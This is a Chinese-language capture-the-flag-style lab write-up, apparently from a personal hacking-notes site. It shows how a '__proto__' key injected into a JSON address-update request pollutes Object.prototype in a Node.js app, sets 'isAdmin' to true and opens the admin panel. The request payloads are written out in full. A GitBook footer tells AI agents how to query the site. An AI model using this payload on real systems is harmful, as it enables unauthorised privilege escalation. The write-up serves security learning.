> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).

# 通过服务器端原型污染实现权限提升

### 通过服务器端原型污染进行权限提升

#### 实验上下文

应用（Node.js + Express） **合并一个用户可控的 JSON 对象** 到服务器端的 JavaScript 对象中， **且未经过滤** 诸如以下危险键： `__proto__`. / 结果：我们可以 **污染 `Object.prototype`** 并注入会被其他对象继承的属性。

在这个实验中，很容易发现，因为 **通过原型链继承的属性会再次出现在 HTTP 响应中**.

<figure><img src="/files/0228db6a8f3a6f3ef328d5da4e3f08cc0588dde4" alt=""><figcaption></figcaption></figure>

### 1）入口点（source）：用于更新地址的 JSON 请求

**请求分析**

在更新用户地址时，应用会在后台发送以下 JSON 请求：

{% code overflow="wrap" %}

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```

{% endcode %}

服务器响应包含用户信息，包括敏感字段：

```json
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}
```

**漏洞识别**

添加一个特殊的 `__proto__` 键到 JSON 请求体中：

```json
"__proto__":  {
"foo":"bar"}
```

服务器响应会反映出 `foo` 属性。

```json
"foo":"bar"
}
```

这证实了：

* 服务器 \*\* 直接合并用户对象\*\*
* **全局原型污染（`Object.prototype`）是可能的**
* 继承的属性是可见且可被利用的

<figure><img src="/files/2c0ff07333c89e4acaa72a8da58e01259c2e415f" alt=""><figcaption></figcaption></figure>

**操作：提升权限**

这里有趣的属性是 `isAdmin`，应用用它来判定权限。

随后将该属性注入全局原型：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
  "__proto__": {
    "isAdmin": "true"
  }
}
```

**结果**

* 该 `isAdmin` 该属性现在继承自 `Object.prototype`
* 在授权检查期间，应用将用户视为 \*\* 管理员\*\*

<figure><img src="/files/3a931f30794b8a7fdd7c86fa77bb325cbd703de9" alt=""><figcaption></figcaption></figure>

* 访问 `/admin` 面板

<figure><img src="/files/f31211f974920aa0b34e1af1ad133fc876ccc26f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
